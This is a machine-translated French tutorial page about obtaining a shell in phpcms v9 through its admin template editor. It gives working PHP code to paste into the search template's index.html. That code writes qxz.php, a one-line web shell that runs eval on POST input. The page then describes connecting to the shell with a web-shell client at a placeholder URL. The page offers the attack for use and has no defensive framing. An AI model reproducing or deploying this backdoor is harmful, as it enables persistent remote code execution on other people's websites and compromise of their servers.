"Style de modèle" et cliquez sur "Liste détaillée" puis cliquez sur le dossier "recherche" et enfin modifiez "index.html" ; et cliquez sur « visualisez-le »."/> "Style de modèle" et cliquez sur "Liste détaillée" puis cliquez sur le dossier "recherche" et enfin modifiez "index.html" ; et cliquez sur « visualisez-le ».">

Maison  >  Article  >  Tutoriel CMS  >  Comment obtenir le shell dans phpcms

Comment obtenir le shell dans phpcms

藏色散人
藏色散人original
2020-07-24 11:22:063308parcourir

Comment obtenir le shell dans phpcms : connectez-vous d'abord à la gestion du backend de phpcms ; puis cliquez sur "Interface" -> "Style de modèle", et cliquez sur "Liste détaillée" puis cliquez sur le dossier "rechercher" ; modifiez enfin « index.html » et cliquez sur « Visualiser ».

Comment obtenir le shell dans phpcms

Mémorisez une fois l'arrière-plan phpcms v9 pour obtenir le processus shell

Après vous être connecté à la gestion de l'arrière-plan, cliquez sur sur l'interface, style de modèle, Cliquez ensuite sur la liste détaillée, comme indiqué ci-dessous :

Recommandé : "tutoriel phpcms"

Comment obtenir le shell dans phpcms

Cliquez ensuite sur rechercher ce dossier, comme suit Image :

Comment obtenir le shell dans phpcms

Cliquez ensuite pour modifier le fichier index.html

puis copiez le code suivant et soumettez il.

<?
$fp = @fopen(“qxz.php”, ‘a’);
@fwrite($fp, ‘<‘.’?php’.”\r\n\r\n”.’eval($_POST[hacker])’.”\r\n\r\n?”.”>\r\n”);
@fclose($fp);
?>

Astuce : sauvegardez le code d'origine avant de le modifier, et modifiez-le à nouveau après avoir obtenu le shell.

Comment obtenir le shell dans phpcms

Après la soumission, cliquez sur Visualiser

Comment obtenir le shell dans phpcms

De cette façon, votre client cheval de Troie d'une phrase sera généré dans le répertoire racine du site Terminal qxz.php

Récupérez le lien du couteau de cuisine http://www.xxx.com/qxz.php

Comment obtenir le shell dans phpcms

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn